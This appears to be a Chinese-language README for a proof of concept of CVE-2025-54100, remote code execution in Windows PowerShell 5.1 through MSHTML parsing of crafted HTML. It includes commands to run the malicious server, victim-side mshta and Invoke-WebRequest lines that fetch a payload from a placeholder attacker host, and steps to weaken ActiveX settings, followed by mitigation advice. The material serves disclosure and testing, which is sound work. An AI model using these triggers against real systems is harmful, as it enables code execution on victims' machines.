CVE-2025-54100 – PowerShell 响应解析 PoC

一个简洁的概念验证，展示CVE-2025-54100如何通过恶意HTML解析在Windows PowerShell 5.1中导致远程代码执行（RCE）。

Table of Contents

• 什么是CVE-2025-54100？
• PoC工作原理
• 快速开始
• 从受害者主机触发
• 故障排除与验证
• 证据
• 缓解措施
• 免责声明
• 参考资料

什么是CVE-2025-54100？

• 类型： 当未使用-UseBasicParsing时，Invoke-WebRequest中的命令注入
• 严重性： CVSS 7.8（高）
• 根因： 基于MSHTML的HTML响应解析允许在调用者上下文中执行脚本（例如ActiveXObject）。
• 影响范围： 运行PowerShell 5.1的Windows 10/11和Windows Server 2008-2025。

PoC工作原理

1. CVE-2025-54100.py中的FastAPI服务器提供一个精心构造的HTML载荷。
2. 该载荷尝试实例化WScript.Shell / Shell.Application ActiveX对象。
3. 在受影响的主机上，MSHTML解析器执行该脚本，通过启动calc.exe演示RCE。
4. 提供的载荷有意保持最小且无破坏性，但可修改以用于进一步研究。

快速开始

先决条件

• Python 3.10+（已使用FastAPI和Uvicorn测试）
• 安装依赖：
  root@kitploit:~

  python3 -m venv .venv
  source .venv/bin/activate
  pip3 install -r requirements.txt
  

运行恶意服务器

启动PoC HTTP服务器：

uvicorn app:app --host 0.0.0.0  --port 8888 --reload

从受害者主机触发

在受影响（且未使用-UseBasicParsing）的Windows机器上运行以下命令：

# Invoke-WebRequest
Invoke-WebRequest -Uri "http://<attacker-ip>:8888"
# curl alias
curl http://<attacker-ip>:8888
# mshta
mshta http://<attacker-ip>:8888

使用与服务器配置相同的端口。如果存在漏洞，嵌入的脚本将通过MSHTML解析器执行。某些防病毒产品可能会阻止此行为，即使解析问题仍然存在。

故障排除与验证

如果calc.exe未弹出：

1. 在受害者主机上打开Internet选项。
2. 转到安全 → 自定义级别...
3. 启用**“对未标记为可安全执行脚本的ActiveX控件初始化并执行脚本。”**
4. 重新运行不带-UseBasicParsing的Invoke-WebRequest。

这展示了执行向量。现实世界的载荷可能使用混淆或额外的绕过技术来规避默认限制。

证据

缓解措施

微软于2025年12月修复了此问题：

1. 在受影响的Windows主机上应用安全更新。
2. 使用-UseBasicParsing 以避免MSHTML解析：
   root@kitploit:~

   Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
   

3. 迁移到PowerShell 7+（pwsh），它不依赖MSHTML进行解析。

免责声明

[!WARNING] 仅用于教育和授权测试。请负责任地使用并遵守所有适用法律。作者不对滥用或损害负责。

参考资料

• NVD：CVE-2025-54100
• MSRC：更新指南
• GitHub：osman1337-security/CVE-2025-54100